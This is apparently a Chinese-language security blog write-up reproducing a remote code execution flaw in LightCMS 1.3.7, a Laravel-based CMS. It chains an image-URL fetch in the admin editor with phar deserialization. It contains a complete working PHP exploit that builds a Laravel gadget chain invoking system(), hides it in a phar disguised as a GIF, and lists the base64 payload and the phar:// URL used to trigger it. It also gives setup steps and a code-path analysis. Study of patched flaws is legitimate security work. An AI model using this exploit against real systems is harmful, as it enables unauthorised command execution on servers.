前言
LightCMS 是一款基於 Laravel 框架的 CMS,其后台存在文件上傳,可配合 laravel phar反序列化實現 rce
環境搭建
LightCMS1.3.7部署
# gitbash
git clone https://github.com/eddy8/LightCMS.git
cd lightCMS
composer install
chmod 777 -R storage/ bootstrap/cache/
cp .env.example .env
# 修改.env中的數據庫信息
php artisan migrate --seed
php artisan serve
后台地址 /admin/login
賬號 admin/admin
更改源碼
漏洞已被fix,我們適當更改源碼還原復現環境
app/Http/Controllers/Admin/NEditorController.php
第257行注釋掉添加$resource = $data;
漏洞復現
文件上傳
Laravel RCE 的 gadget
//exp.php
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Dispatcher($cmd);
$this->event=$cmd;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners=[$event=>['system']];
}
}
}
namespace{
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$o = new Illuminate\Broadcasting\PendingBroadcast($argv[1]);
echo base64_encode(serialize($o));
$phar -> setMetadata($o);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
}
生成phar文件,改后綴名為 gif
D:\phpStudy\phpstudy_pro\WWW\LightCMS\tests>php exp.php calc
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjQ6ImNhbGMiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjg6IgAqAGV2ZW50IjtzOjQ6ImNhbGMiO30=
上傳gif文件
上傳路徑 http://light.com/upload/image/202105/96pe2uNvwlOtFisPxx1lCgNmspzFDqLVE1hsmfHR.gif
vps上的1.txt
phar://./upload/image/202105/96pe2uNvwlOtFisPxx1lCgNmspzFDqLVE1hsmfHR.gif
訪問接口
復現結果
漏洞分析
進入上傳頁面,查看源代碼
找到上傳接口
http://127.0.0.1:8000/admin/neditor/serve/uploadimage
查看后台模板文件
resources/views/admin/content/add.blade.php
上傳接口渲染laravel一個路由
查看路由
routes/admin.php
使用NEditorController
控制器
查看控制器
app/Http/Controllers/Admin/NEditorController.php
uploadImage()
方法我們不去關注,把重點放在catchImage()
方法上
catchImage()
方法接受post的file參數,傳進fetchImageFile()
方法
查看fetchImageFile()
方法
首先通過filter_var($url, FILTER_VALIDATE_URL)
判斷$url
是否為 url
注意這不僅http協議可以通過,其它如phar協議同樣也可以
接着嘗試 curl 訪問 url
並返回結果給$data
此時$data
內容為 phar://./upload/image/202105/96pe2uNvwlOtFisPxx1lCgNmspzFDqLVE1hsmfHR.gif
然后通過isWebp()
判斷$data
是否是 webp 文件
進入 else 分支后把$data
傳入Image::make()
逐步跟進
vendor/intervention/image/src/Intervention/Image/ImageManager.php
vendor/intervention/image/src/Intervention/Image/AbstractDriver.php
最后來到AbstractDecoder.php
,進入switch case
vendor/intervention/image/src/Intervention/Image/AbstractDecoder.php
查看 isUlr()
方法
同樣也是判斷$data
是否為 url
這時$data
是 phar 協議,可以 return true
所以 $data
傳入initFromUrl()
查看initFromUrl()
方法
可以看到 file_get_contents()
觸發 phar 反序列化
參考
https://xz.aliyun.com/t/9561
https://www.gem-love.com/websecurity/2763.html